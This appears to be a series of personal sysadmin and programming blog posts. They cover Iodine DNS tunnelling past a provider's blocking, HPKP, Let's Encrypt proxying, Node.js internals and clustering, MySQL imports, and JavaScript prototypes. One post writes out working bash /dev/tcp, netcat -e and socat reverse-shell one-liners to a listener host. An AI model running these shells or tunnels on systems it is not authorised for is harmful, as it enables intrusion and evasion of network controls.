This is just another post about Iodine and DNS tunneling. Some kind of memo.

So, service provider is blocking almost everything but DNS queries? It's time for Iodine.

DNS tunnelling is not the fastest (like VPN or ICMP tunneling) and not most useful, but it works almost always.

All that needed is: own domain name, server with iodined and client with iodine.

It's important to have the same version on client and server. There are no backward compatibility.

Setup subdomains:

• NS record for Iodine: iodine.example.org pointing to Iodine server ip address
• A record for resolving hostname: tun.example.org
• Set NS record for tun.example.org to iodine.example.org

OK, now all requests to *.tun.example.org should go to Iodine.
Start server:

iodined -c -f 10.10.10.1 tun.example.org -P p@SSwoRd -DD  

• c - disable checks for client's ip
• f - run in the foreground
• 10.10.10.1 - subnet for virtual network
• tun.example.org - domain for listening
• P - password
• DD - double debug

Let's check it (online check is available at http://code.kryo.se/iodine/check-it/):

dig srv z001.tun.example.org +short  
hpiyxampo.md.

dig txt z1.tun.example.org +short  
"tpiys2"  

Iodine will reply with random string for any requests starting with 'z'.

Now, let's start iodine client:

iodine -r -m226 -OBase64u -L0 -P p@SSwoRd tun.example.org  

• r - skip RAW UDP mode
• m226 - set a fragment size of 226 bytes
• OBase64u - force the downstream encoding type to base64u
• L0 - force legacy (non-lazy) mode
• tun.example.org domain to use for queries

Great article and more examples here.

Cool, let's try to ping server via virtual dns0 device:

[root@host ~ ] ping 10.10.10.1
PING 10.10.10.1 (10.10.10.1) 56(84) bytes of data.  
64 bytes from 10.10.10.1: icmp_seq=1 ttl=64 time=50.6 ms  
64 bytes from 10.10.10.1: icmp_seq=2 ttl=64 time=54.2 ms  
64 bytes from 10.10.10.1: icmp_seq=3 ttl=64 time=65.9 ms  
64 bytes from 10.10.10.1: icmp_seq=4 ttl=64 time=63.4 ms  
^C
--- 10.10.10.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms  
rtt min/avg/max/mdev = 50.666/58.604/65.983/6.324 ms  

So far so good.

The final part, routing

The easiest way to route requests to Iodine server is ssh dynamic tunneling (ssh -D ${port} user@server) which will create SOCKS server on the host machine.
But if our requests is encrypted with TLS or other suite we can route all traffic directly throught DNS tunnel (Iodine's password is using for authentication only, data is not encrypted at all).

Server should have enabled forwarding, NAT and ACCEPT rules or policy in the FORWARD chain:

echo 1 > /proc/sys/net/ipv4/ip_forward &&  
iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -j MASQUERADE  

To route all data through tunnel:

• add route for service provider's DNS resolvers

[user@host ~ ] cat /etc/resolv.conf
nameserver 10.10.100.117  
nameserver 10.10.100.118

[user@host ~ ] ip r
default via 10.11.58.1 dev wlan0  
10.11.58.0/24 dev wlan0 proto kernel scope link src 10.11.58.114  

• adding routes for DNS servers

route add -host 10.10.100.117 gw 10.11.58.1  
route add -host 10.10.100.118 gw 10.11.58.1  

• delete default gateway and set it to dns0

ip r del default && ip r add default via 10.10.10.1  

[user@host ~ ] ip r
default via 10.10.10.1 dev dns0  
10.10.10.0/27 dev dns0 proto kernel scope link src 10.10.10.2  
10.10.100.117 via 10.11.58.1 dev wlan0  
10.10.100.118 via 10.11.58.1 dev wlan0  
10.11.58.0/24 dev wlan0 proto kernel scope link src 10.11.58.114  

• yup:

[root@jupiter ~ ] ping example.org -c 3
PING example.org (93.184.216.34) 56(84) bytes of data.  
64 bytes from 93.184.216.34 (93.184.216.34): icmp_seq=1 ttl=53 time=1023 ms  
64 bytes from 93.184.216.34 (93.184.216.34): icmp_seq=2 ttl=53 time=1025 ms  
64 bytes from 93.184.216.34 (93.184.216.34): icmp_seq=3 ttl=53 time=2047 ms

--- example.org ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2047ms  
rtt min/avg/max/mdev = 1023.155/1365.228/2047.387/482.360 ms, pipe 2  

Thanks for reading.

Recently I created an account on Skrill (ex Moneybookers) to receive payments directly to my credit card.
Just a common thing, I thought. How wrong I was...

The next morning after registration I was really surprised.

I saw about 2 thousands delivery-error messages from different SMTP servers. All messages has a "return-path" to my domain email address (info@mydomain.com) and was send from many different servers. What the hell?

Also I saw a lot of spam messages to my email address which I used to register Skrill account (that email was also used a while on cloudflare). Those emails has my first and second names, and my second name was set on Skrill account only.

There are some subjects from that spam messages:

• "Sign up now and you can redeem your £€$1000 FREE immediately!"
• "Casino Classic offers all new real cash players £€$500 and 1 hour to win!"
• "CasinoClassic is offering 500 free with one hour play to all new account holders!"

I googled about that, and found a lot of posts like this. That post dated 2011, so after 5 years Skrill still will sold your email address to spamers.

I dunno what else to say. Besides that Skrill is a piece of sh*t. Good company, especially finance will never give any of your information to spamers.

If you still decide to use Skrill - use public email service, never use your own domain-based email otherwise you may have a real trouble with spam.

Take care.

Happily, HTTP Strict Transport Security is very nice thing for trust-on-first-use sites. But there are one thing that haunts me sometimes - hacked CA. Sure, that's quite rare thing, but who knows.
So, some iranian guy's want to do some MIM. They hacked some CA, issue fake (but valid) ssl certificates and ... the end. Or not?

Nope, if HPKP is used and it's TOFU web site.
The idea is pretty simple:
when UA makes first trusted (I hope) connection to server - it receives HPKP header(s) and store certifiates SPKI fingerprints, ttl, and other validation options for that domain. Then, in all further connections UA will check certificate for identity (whole validation process descirbed in rfc7469.

HPKP headers looks like this:

Public-Key-Pins: max-age=2592000;  
       pin-sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=";
       pin-sha256="LPJNul+wow4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ=";
       report-uri="http://example.com/pkp-report";
       includeSubDomains

where
max-age - ttl for storing headers and fingerprints
pin-sha256 - SPKI fingerprints (sha256 is only supported for now) for at least two certificates
report-uri - uri for send POST request in case of failed validation (optional)
includeSubDomains - include subdomains to pinned connections (optional)

Ok, it's a game time

Let's create Subject Public Key Info fingerprints for example.org (detailed about SPKI - here)
Easiest way is to create it from server certificate using openssl:

openssl s_client -servername example.org -connect example.org:443 | openssl x509 -pubkey -noout | oubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64  

Here it is

depth=2 O = Digital Signature Trust Co., CN = DST Root CA X3  
verify return:1  
depth=1 C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X1  
verify return:1  
depth=0 CN = example.org  
verify return:1  
writing RSA key  
TCKhYNyE/2K3N+Latb1KNH/iXqLDjmAkZhCHzN5N20c=  

Now, it's time to add this key in headers and set ttl for pinning. But before doing this, we need another SPKI fingerprint for bad situation when original key was compromized. Due to rfc in headers must be at least two pin's. So, for correct pinning we need at least two private keys and certificates: original and back-up (preferable from another CA). Sure, no-one can forbid us to put some garbage in back-up pin(s), just for testing purposes.

About max-age

There are no limits for max-age, but UA's may set own limits. Guys from google recommends somethig around 60 days:

There is probably no ideal upper limit to the max-age directive that would satisfy all use cases. However, a value on the order of 60 days (5,184,000 seconds) may be considered a balance between the two competing security concerns.

About report-uri

Very cool feature as for me. UA will make POST request with useful info to specified uri when valid pinned connection can't be established. The little problem: only Chrome >=46 (and Chromium I suppose) can do this for now.

Sample HPKP-report from Chrome:

#headers
{ host: 'blog.roundside.com',
  connection: 'close',
  'content-length': '8710',
  pragma: 'no-cache',
  'cache-control': 'no-cache',
  'user-agent': 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36',
  'accept-encoding': 'gzip, deflate',
  'accept-language': 'en-US,en;q=0.8' }
#payload (certifiates was truncated)
{
"date-time":"2016-03-13T16:54:14.023Z",  
"effective-expiration-date":"2016-03-13T16:57:54.368Z",  
"hostname":"blog.roundside.com",  
"include-subdomains":false,  
"known-pins":[  
"pin-sha256=\"MbJIcRLFNfwcfRUpV46EtDyp0d8WO8o34sMALixkftU=\"",  
"pin-sha  
256=\"w5k2T/1B4J1cdxlhfUnpY1SIL1+n26NFv8fTdEs2ThM=\""],  
"noted-hostname":"blog.roundside.com",  
"port":443,  
"served-certificate-chain":[  
"-----BEGIN CERTIFICATE-----    \nMIIFCDCCA/CgAwIBAgISAUijX+5SwJtgdqwJUUDBNjrCMA0GCSqGSIb3DQEBCwUA\nMEoxCzAJBgNVBAYTAlVTMRYwFAYD....Y4=\n  
-----END CERTIFICATE-----\n",
"-----BEGIN CERTIFICATE-----  
\n...2k5xeua2zUk=\n
-----END CERTIFICATE-----\n"
],
"validated-certificate-chain":[  
"-----BEGIN CERTIFICATE-----\n  
...4=\n
-----END CERTIFICATE-----\n",
"-----BEGIN CERTIFICATE-----\n  
...2k5xeua2zUk=\n
-----END CERTIFICATE-----\n",
"-----BEGIN CERTIFICATE-----\n  
MII....UQ\n  
-----END CERTIFICATE-----\n"
]}

served-certificate-chain - is exactly certificate chain received from server.
validated-certificate-chain - is what UA trying to verify after first fail. Usually - the same as served-certificate-chain + Root CA certificate from UA.

Ok, so let's setup a proper header using SPKI fingerprints and recommended max-age:

Public-Key-Pins  
pin-sha256="TCKhYNyE/2K3N+Latb1KNH/iXqLDjmAkZhCHzN5N20c=";  
pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE=";  
max-age=5184000;  
report-uri="http://example.org/pkp-report"  

Check it:

curl -I "https://example.org"  
HTTP/1.1 200 OK  
Public-Key-Pins: pin-sha256="TCKhYNyE/2K3N+Latb1KNH/iXqLDjmAkZhCHzN5N20c="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000; report-uri="http://example.org/pkp-report";  
Date: Mon, 14 Mar 2016 00:23:29 GMT  
Connection: keep-alive

Seems ok.

How to test?
Testing pinned connections is not trivial for now. The are some ways to verify HPKP status: in Firefox "Network" tab -> "Security": "Public Key Pinning", also HPKP Analyser is good tool.

For actually testing HPKP we need to replace pinned certificate to other valid certificate but not pinned. Just changing fingerpints doen't have any action coz UA can't update HPKP headers due certificate and fingerprint conflict and will keep old headers unchanged.

Ok, let's put not pinned certificate on this blog

Chrome reaction:

Firefox reaction:

The cool thing - there no "proceed anyway" button, which in very good for security.

So, HPKP & HSTS is not ideal but can greatly reduce MIM attacks.

Further reading:
RFC
MDN
Google
OWASP
HPKP Analyser

So if u wanna ssl certificate for example.org (which obviously has ipv4 address 93.184.216.34) but want generate certificate(s) from some another server letsencrypt.example.org (e.g. micro aws instance or so with ip 93.184.216.32) you out of luck. There are several workarounds explicitly described in rfc. But they can't be automated easily, moreover certificates issued for 90 days, so automation is a good choice here.

But, if you own your servers or have access to server/application configs - there are elegant solution. We need just proxying letsencrypt acme-challenge request from example.org to that server where letsencrypt run's and use webroot native plugin (standalone is also usable, but not flexible at all).

In a nutshell:

Let’s Encrypt service want receive acme-challenge from example.org, it make request to unique address (hash) after /.well-known/acme-challenge/ path. So when example.org/example.org/.well-known/acme-challenge/{$hash} has correct hash path and value - certificate will be issued.

Process is something like this:

#letsencrypt client sends to letsencrypt service dns, hash and value
1) letsencrypt.example.org -> letsencrypt service [example.org & $hash & $value]  
#letsencrypt service make request and obtain value (if so)
2) letsencrypt service -> example.org/.well-known/acme-challenge/{$hash}  
#and if all is ok
3) letsencrypt service -> letsencrypt.example.org <storing key and certificate>  

Example from http://letsencrypt.readthedocs.org/:

66.133.109.36 - - [05/Jan/2016:20:11:24 -0500] "GET /.well-known/acme-challenge/HGr8U1IeTW4kY_Z6UIyaakzOkyQgPr_7ArlLgtZE8SX HTTP/1.1" 200 87 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)"  

First of all, we need to specify webroot plugin, authenticator (used for certonly) and acme-challenge location for letsencrypt client:

./letsencrypt-auto certonly -w /opt/ssl/example.org --authenticator webroot --email bob@example.org -d example.org

In this case letsencrypt client will write verification file to /opt/ssl/example.org and tell letsencrypt service to make verification request.

Now, just one simple change in example.org server config (nginx in my case):

location  "/.well-known/acme-challenge/" {  
    proxy_pass http://letsencrypt.example.org;  
}

Ok, all acme-challenge requests now goeing to letsencrypt.example.org.

letsencrypt service -> example.org/.well-known/acme-challenge/{$hash} -> letsencrypt.example.org  

And now we just need to serve acme-challenge hash file using favorite method (nginx, Node, Python, netcat :D). For testing, python one-liner will be enough:

cd /opt/ssl/example.org && python -m "SimpleHTTPServer" 80  

Ok, cool:

IMPORTANT NOTES:  
 - Congratulations! Your certificate and chain have been saved at
   /etc/letsencrypt/live/example.org/fullchain.pem. Your cert
   will expire on 2016-06-03. To obtain a new version of the
   certificate in the future, simply run Let's Encrypt again.
 - If you like Let's Encrypt, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le

That method is extremely easy to configure and automate, for receiving certificates from dozen different domains using one letsencrypt endpoint.

Note: letsencrypt has a limit (around 5) for certificates per week.

Cheers :)

So, for using native http parser, which in a nutshell are C library binded to Node with a bunch of internal helpers and local functions we need just a several lines of code.

/**
 * using internal .binding method
 */

var HTTPParser = process.binding('http_parser').HTTPParser;

/**
 * specify that wee wanna parse request
 *  HTTPParser.REQUEST == 1
 *  HTTPParser.RESPONSE == 0
 */

var parser = new HTTPParser(HTTPParser.REQUEST);

//closure, just for convenience
var log = console.log;

/**
 * creates new Buffer and pass it to parser
 * @param {Buffer} buffer
 */

function parse(buffer) {  
  var _data = new Buffer(buffer);
  //this method is described below
  parser.execute(_data, 0, _data.length);
}

/**
 * set event emitters
 */

parser.onHeadersComplete = function(headers) {  
    log(".onHeadersComplete, arguments: \n%s\n", JSON.stringify(arguments));
}
parser.onMessageComplete = function() {  
    log(".onMessageComplete invoked");
}
parser.onBody = function(body, start, len) {  
    log(".onBody, arguments: \n%s\n", JSON.stringify(arguments));
    log(body.toString());
}

/**
 * Make tests with proper requests
 */

//single string
parse("GET / HTTP/1.1\r\nhost:google.com\r\ncontent-length: 0\r\n\r\n");

//multiline
parse("PUT /api/v1/spot HTTP/1.1\r\n");  
parse("content-type: application/json\r\n");  
parse("host: example.com\r\ncontent-length:31\r\n\r\n");  
parse("{\"stock\": \"AAPL\", \"price\": 643}");

Results:
single string

.onHeadersComplete, arguments: 
{"0":{"headers":["host","google.com","content-length","0"],"url":"/","method":"GET","versionMajor":1,"versionMinor":1,"shouldKeepAlive":true,"upgrade":false}}

.onMessageComplete invoked

and multiline one

.onHeadersComplete, arguments: 
{"0":{"headers":["content-type","application/json","host","example.com","content-length","31"],"url":"/api/v1/spot","method":"PUT","versionMajor":1,"versionMinor":1,"shouldKeepAlive":true,"upgrade":false}}

.onBody, arguments: 
{"0":[123,34,115,116,111,99,107,34,58,32,34,65,65,80,76,34,44,32,34,112,114,105,99,101,34,58,32,54,52,51,125],"1":0,"2":31}

{"stock": "AAPL", "price": 643}
.onMessageComplete invoked

Cool, we have headers, request line and body buffer.

Btw, .execute method needs data, start and end positions
let's take a peek to http.js:2167

function socketOnData(d, start, end) {  
  var socket = this;
  var req = this._httpMessage;
  var parser = this.parser;

  var ret = parser.execute(d, start, end - start);
  if (ret instanceof Error) {
    debug('parse error');
    freeParser(parser, req);
    socket.destroy();
    req.emit('error', ret);
    req._hadError = true;
  } else if (parser.incoming && parser.incoming.upgrade) {
    // Upgrade or CONNECT
    var bytesParsed = ret; 
    var res = parser.incoming;
    req.res = res;
    ...

Also, here is npm module with this stuff.

Nice documentation about clustering in Node.js is here

In a nutshell, master process will just share connections between forked processes. There are some useful events for processes monitoring and re-forking they in case of trouble.

Let's create an extra-simple web-server:

var http = require('http');  
http.createServer(function (req, res) {  
  res.writeHead(200, {'content-type': 'text/plain'});
  res.end('Hello World!');
}).listen(3000)

I'll use wrk to run benchmark from incredible Iron web framework for Rust. On my quad core vps results isn't so bad:

Running 10s test @ http://127.0.0.1:3000/  
  12 threads and 900 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency   140.61ms   69.12ms 785.85ms   88.44%
    Req/Sec   398.78    247.27     1.28k    62.36%
  46600 requests in 10.03s, 6.93MB read
Requests/sec:   4646.52  
Transfer/sec:    707.87KB

Hmm, 4646.52 request per second.
Now, let's speed it up!

var http     = require('http'),  
    cluster  = require('cluster'),
    coresnum = require('os').cpus().length;
if (cluster.isMaster) {  
  //master process invokes firstly and creates as many forks as cores/threads in system
  for (var i=0;i<coresnum;i++) {
   cluster.fork();
  }
  cluster.on('exit', function (worker, code, signal) {
   console.log('Someone is dead, PID: ' +  worker.process.pid + ', signal: ' + signal || code);    
   cluster.fork();
  }); 
}
else {  
  //will be invoked by every fork
  http.createServer(function (req, res) {
   res.writeHead(200, {'content-type': 'text/plain'});
   res.end('Hello World!');
  }).listen(3000)
}

Function emitted after 'exit' event will re-fork any forked process that was killed/terminated/etc.
Let's kill some fork:

$ ps ax | grep node 
17064 pts/3    Sl+    0:00 node cluster.js  
17069 pts/3    Sl+    0:00 /usr/local/bin/node --debug-port=5859 /tmp/cluster.js  
17074 pts/3    Sl+    0:00 /usr/local/bin/node --debug-port=5860 /tmp/cluster.js  
17075 pts/3    Sl+    0:00 /usr/local/bin/node --debug-port=5861 /tmp/cluster.js  
17080 pts/3    Sl+    0:00 /usr/local/bin/node --debug-port=5862 /tmp/cluster.js  
17092 pts/2    S+     0:00 grep node  
$ kill 17074

Nice:

Someone is dead, PID: 17074, signal: SIGTERM  

Run wrk again:

$ wrk -t12 -c900 -d10s http://127.0.0.1:3000/
Running 10s test @ http://127.0.0.1:3000/  
  12 threads and 900 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency    62.34ms  144.61ms   2.00s    96.96%
    Req/Sec     1.74k   763.11     8.61k    85.76%
  178799 requests in 10.10s, 26.60MB read
  Socket errors: connect 0, read 0, write 0, timeout 413
Requests/sec:  17709.63  
Transfer/sec:      2.63MB  

Not bad, now we have 17709.63 requests per second, not 4646.52 as before.

How about Iron?

extern crate iron;

use iron::prelude::*;  
use iron::status;

fn main() {  
    Iron::new(|_: &mut Request| {
        Ok(Response::with((status::Ok, "Hello world!")))
    }).http("0.0.0.0:3000").unwrap();
}

Wrk again:

$ wrk -t12 -c900 -d10s http://127.0.0.1:3000/
Running 10s test @ http://127.0.0.1:3000/  
  12 threads and 900 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency     1.03ms    0.95ms  20.98ms   96.66%
    Req/Sec     2.59k   563.94     4.06k    58.67%
  77369 requests in 10.05s, 8.41MB read
Requests/sec:   7698.92  
Transfer/sec:    857.11KB  

Since Rust is compiled language and multithreaded by default. I thin'k Node.js results is impress :)

Happily, MySql cli has all we need (and much more).

Lets look at this simple dump file for example:

|-name-|-age-|-result-|-city-|
|Alice|23|true|Sacramento
|Bob|31|false|Austin
|Eve|25|true|Dallas
|John|23|false|undefined
|Steve|34|true|DC

At the top we have description for column names, below - data separated by "|", besides, all lines also begins with "|" and have a newline character at the end.
Check this:

user@mysql:/tmp$ cat user_import.txt | od -c  
0000000   |   -   n   a   m   e   -   |   -   a   g   e   -   |   -   r  
0000020   e   s   u   l   t   -   |   -   c   i   t   y   -   |  \n   |  
0000040   A   l   i   c   e   |   2   3   |   t   r   u   e   |   S   a  
0000060   c   r   a   m   e   n   t   o  \n   |   B   o   b   |   3   1  
0000100   |   f   a   l   s   e   |   A   u   s   t   i   n  \n   |   E  
0000120   v   e   |   2   5   |   t   r   u   e   |   D   a   l   l   a  
0000140   s  \n   |   J   o   h   n   |   2   3   |   f   a   l   s   e  
0000160   |   u   n   d   e   f   i   n   e   d  \n   |   S   t   e   v  
0000200   e   |   3   4   |   t   r   u   e   |   D   C  \n  
0000215

This files has Unix-like LF newlines ("\n "), we will need this to specify lines terminators.
Let's import it.
Create new table

mysql> create table temp_users (name text, age int, result text, city text, id int auto_increment primary key) character set utf8 collate utf8_bin;  

and use load data infile to insert dump into table (sure, dump file must be accessible from mysql server):

mysql> load data infile "/tmp/user_import.txt" into table temp_users  
    -> fields terminated by "|"  
    -> lines starting by "|"  
    -> terminated by "\n"  
    -> ignore 1 lines; 

ignore 1 lines - just for omit first line with columns description. Check it:

mysql> select * from temp_users;  
+-------+------+--------+------------+----+
| name  | age  | result | city       | id |
+-------+------+--------+------------+----+
| Alice |   23 | true   | Sacramento | 29 |
| Bob   |   31 | false  | Austin     | 30 |
| Eve   |   25 | true   | Dallas     | 31 |
| John  |   23 | false  | undefined  | 32 |
| Steve |   34 | true   | DC         | 33 |
+-------+------+--------+------------+----+
5 rows in set (0.00 sec)  

Pretty simple, but very powerful.
Sure, we can create dump file with outfile too :)

mysql> select * from temp_users into outfile "/tmp/temp_users.csv"  
    -> fields terminated by "," 
    -> enclosed by '"' 
    -> lines terminated by "\n";

And get valid csv:

user@mysql:/tmp$ cat temp_users.csv  
"Alice","23","true","Sacramento","29"  
"Bob","31","false","Austin","30"  
"Eve","25","true","Dallas","31"  
"John","23","false","undefined","32"  
"Steve","34","true","DC","33"

Sometimes I need shell right now, but in some cases it's impossible (no ssh on hosting or something like this).
Happily that bash has built-in network pseudo interface (as a default on most distros) /dev/tcp and /dev/udp. So we can use php, ruby, etc on server to create reverse connection to listener and get shell access.

/dev/tcp

To use it we need redirect output from /dev/tcp to file or something else.
Simple example:

user@host ~ $ cat < /dev/tcp/time.nist.gov/13

57103 15-03-22 23:54:14 50 0 0 587.5 UTC(NIST) * 

Send http request:

user@host ~ $ exec 3<> /dev/tcp/roundside.com/80  
user@host ~ $ echo -e "GET / HTTP/1.1\nHost: roundside.com\nConnection: close\n\n" >&3  
user@host ~ $ cat <&3  
HTTP/1.1 200 OK  
Server: nginx/1.6.1  
Date: Mon, 23 Mar 2015 00:06:00 GMT  
Content-Type: text/html  
Content-Length: 11517  
Connection: close  
Last-Modified: Tue, 09 Dec 2014 17:40:10 GMT  
ETag: "6587d2-2cfd-509cc08e7aef5"  
Accept-Ranges: bytes  
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""  
...

A little bit different from previous. As we need to send data first, we need create file descriptor 3 for reading and writing and bind it to /dev/tcp/address/port:

exec 3<> /dev/tcp/roundside.com/80  

Beautiful article about redirections is here
Next, create HTTP request header and write it to file descriptor 3 to send it:

echo -e "GET / HTTP/1.1\nHost: roundside.com\nConnection: close\n\n" >&3  

And last, read a response.

cat <&3  

Now, let's got a bash over tcp
/dev/tcp can only connect to other addresses, so netcat or socat needed on listener. Create a listener:

user@listener ~: nc -l -p 1413

And connect to it from target:

user@target ~ $ /bin/bash -c "/bin/bash -i > /dev/tcp/listener_address/1413 0>&1 2>&1"  

Done, now we have remote shell with bash only

user@listener ~: nc -l -p 1413  
user@target ~ $ 

In this example bash in interactive mode

/bin/bash -i

(bash will source ~/.bashrc or default bash config file, so we get a little bit nicer shell) send all it stdout to listener,

/bin/bash -i > /dev/tcp/listener_address/1413

and all what will be send from listener will be executed in bash and redirected back to listener (stderr is also redirected, this is important)

/bin/bash -i > /dev/tcp/listener_address/1413 0>&1 2>&1

More elegant:

/bin/bash -c "bash -i &> /dev/tcp/listener_address/1413 0>&1"

&> or >& will redirect both stderr and stdout to specified address.

Sure, netcat with '-e' parameter can be used to execute bash:

user@target ~ $ nc listener_address 1413 -e '/bin/bash'  

But there is some problem.
Key shortcuts, ncurces-based programs will not work correctly. We need more tty access now, and it's a Socat time!

Socat it's like a netcat, but with extremely powerfull features (may be downloaded from here for Linux or here for FreeBSD, both statically linked)
Create a listener:

user@listener ~: socat -,raw,echo=0 tcp-listen:1413  

And connect from target:

user@target ~ $ socat tcp:listener_address:1413 exec:"bash -i",pty,stderr,setsid,sigint,sane  

Now we can play ninvaders, use htop, mc, vim and any other cli stuff :)

PS: don't forget to adjust terminal size after getting reverse bash.
See actual:

echo $LINES,$COLUMNS  
53,159

and export after got shell:

export LINES=53;export COLUMNS=159  

All for now.

Want more?
Socat man and examples page

Refs:
https://stuff.mit.edu/afs/sipb/machine/penguin-lust/src/socat-1.7.1.2/EXAMPLES
http://www.catonmat.net/blog/bash-one-liners-explained-part-three/
http://www.gnucitizen.org/blog/reverse-shell-with-bash/
http://blog.rootshell.ir/2010/08/get-your-interactive-reverse-shell-on-a-webhost/

In this post I'll try to show relations between all elements in JavaScript and an Object.prototype object, which are fundamental and parent for all other elements.

There are two global data types in JavaScript: primitives and objects. So, not all in JS are objects. But primitives in some cases can be converted to objects.

Built-in objects list are here

Primitives:

• String
• Number
• Boolean
• Null
• undefined

But, this types of data (except null and undefined) is created by object constructors (or wrappers). For example, when we defined something like this:

var word = "Hello!"  

the String() method is executing and new variable with type "string" is created.
And as we know, primitives are immutable, so we can't add properties for string or boolean.
But, how then we may know string length (which are property of foo variable)?

var foo="123"  
console.log(foo.length) //3  

All these because of prototype chain.
Prototype chain - is a language feature that provides delegation based on prototypes, when object has it own properties as well as shared properties which are inherited.

All object in JavaScript has a prototype property.
This property may be a link to another object or be null. The only object which prototype property is null (in normal case) is Object.prototype (more about it bellow)

For better understanding what is prototypes and how chains are creating, lets look at another simple example:

var bar = {}  
// for simplicity we can say that is a link to
var bar = new Object()

This simple operation in detail mean:

• create Object.prototype object using Object() constructor
• create new object bar using Object() constructor and set it prototype property to Object.prototype (bar.__proto__ === Object.prototype //true)
  

These mean, that bar object inherits all methods and properties from Object.prototype object. That's why we can get the result of bar.toString().

To access object prototype we can use __proto__ property which will show actual prototype of object.

Constructor - is a function that create object (more about it below), excellent article about constructors and more is here

So, what is a prototype chain?
In a nutshell, this is how properties are looking-up. When we call some property, for example bar.toString, if this property not found in object - next this property will be checked in object.[[prototype]], next in object.[[prototype]].[[prototype]] and so on. Until property is found or if object.__proto__ returns null. This is mean that prototype chain is ended, and in this case property returns undefined as result.
Let's create a string:

var a = "foo"  
console.log(a.__proto__ === String.prototype) //true  
console.log(String.prototype.__proto__ === Object.prototype) //true  

And create new method in Object.prototype, that all objects can access it:

Object.prototype.ping = function () {  
    return "pong"
}
console.log( a.ping() )                                   //"pong", inherited from Object.prototype  
console.log(a.hasOwnProperty("ping"))                     //false, a doesn't have ping property  
console.log(a.__proto__.hasOwnProperty("ping"))           //false, String.prototype doesn't have ping property  
console.log(a.__proto__.__proto__.hasOwnProperty("ping")) //true, ping property found in Object.protoype  
console.log(a.hasOwnProperty("toString"))                 //false, a doen't have toString property  
console.log(a.__proto__.hasOwnProperty("toString"))       //true, toString property found in String.prototype  
console.log(a.toString === String.prototype.toString)     //true  

Note: Object.prototype also have toString property, but it's two different methods.
But, if primitives can't have properties at all. How we can do that?
This feature is calling autoboxing (or boxing is some cases). To access properties of primitives a temporary object is created, after properties are accessed this object is deleted:

var wrapper = new String("foo")  
console.log( wrapper.ping() )  
delete wrapper  

In "native constructors" block are located constructors that creates corresponding objects in this example. All functions (native and own) are created by Function constructor, and inherits their properties from Function.prototype.

var Foo = function () {}  
//all functions inherits their properties from Function.prototype
console.log(Foo.__proto__      === Function.prototype) //true  
console.log(Function.__proto__ === Function.prototype) //true  
console.log(String.__proto__   === Function.prototype) //true  
console.log(Number.__proto__   === Function.prototype) //true  
console.log(Array.__proto__    === Function.prototype) //true  
console.log(Object.__proto__   === Function.prototype) //true  
//constructors:
console.log(Foo.prototype.constructor      === Foo)     //true  
console.log(Function.prototype.constructor === Function)//true  
console.log(String.prototype.constructor   === String)  //true  
console.log(Number.prototype.constructor   === Number)  //true  
console.log(Array.prototype.constructor    === Array)   //true  
console.log(Object.prototype.constructor   === Object)  //true  

Constructor

Constructor creates object and sets all it properties. For better understanding how it works, take a look on algorithm of function creation from Dmitry Soshnikov

F = new NativeObject();

/* property [[Class]] is "Function" */
F.[[Class]] = "Function"

/* a prototype of a function object */
F.[[Prototype]] = Function.prototype

/* reference to function itself */
/* [[Call]] is activated by call expression F() */
/* and creates a new execution context */
F.[[Сall]] = <reference to function>

/*  built in general constructor of objects */
/*  [[Construct]] is activated via "new" keyword */
/*  and it is the one who allocates memory for new */
/*  objects; then it calls F.[[Call]] */
/*  to initialize created objects passing as */
/*  "this" value newly created object */
F.[[Construct]] = internalConstructor

/*  scope chain of the current context  */
/*  i.e. context which creates function F */
F.[[Scope]] = activeContext.Scope  
/* if this functions is created  */
/* via new Function(...), then */
F.[[Scope]] = globalContext.Scope

/* number of formal parameters */
F.length = countParameters

/* a prototype of created by F objects */
__objectPrototype = new Object();  
__objectPrototype.constructor = F // {DontEnum}, is not enumerable in loops  
F.prototype = __objectPrototype

return F  

How about own constructors?

Object.prototype.ping = function () {  
    return "pong"
}
//simple object constructor
var Foo = function () {  
    this.x = 5
    this.y = "yes"
    this.z = false
    this.check = function () {
        return this.y + ", checked"
        }
}
//create object using it
var a = new Foo()  
console.log(a.check())   //"yes, checked", own  
//another object, set prototype to a object. Now b can access all properties from a
var b = {  
    x: 13,
    z: 19,
    __proto__: a
}
console.log(b.x)                                     //13, own  
console.log(b.z)                                     //19, own  
console.log(b.y)                                     //"yes", delegated from a  
console.log(b.check())                               //"yes, checked", delegated from a  
console.log(b.ping())                                //"pong", delegated from Object.prototype  
console.log(b.ping === Object.prototype.ping)        //true  
console.log(b.toString())                            //"[object Object], delegated from Object.prototype  
console.log(b.toString === Object.prototype.toString)//true  
delete b.x                                           //own property x deleted  
console.log(b.x)                                     //5, delegated from a  
delete a.x                                           //x property from a deleted  
console.log(b.x)                                     //undefined, x property not found in prototype chain  

Sure, modifying native objects is a bad idea. This called monkey-patching and may cause some problems.
But when do this carefully, it may be very useful.

Also, good idea - is to protect own properties from being modified or listed in counters:

Object.defineProperty(String.prototype, "foo", {  
    value: function () {
        return "something"
        },
    writable: true,
    enumerable: true,
    configurable: true
 })
var x = "some text"  
for (key in x) {  
        console.log(x[key])  //some text, [Function]
}
//hide property from being listed in counters and modifying/deleting
Object.defineProperty(String.prototype, "foo", {  
    writable: false,
    enumerable: false,
    configurable: false
})
console.log(x.foo())         //"something"  
delete String.prototype.foo  
console.log(x.foo())         //"something"  
String.prototype.foo = null  
console.log(x.foo())         //"something"  
for (key in x) {  
        console.log(x[key])  //some text
}

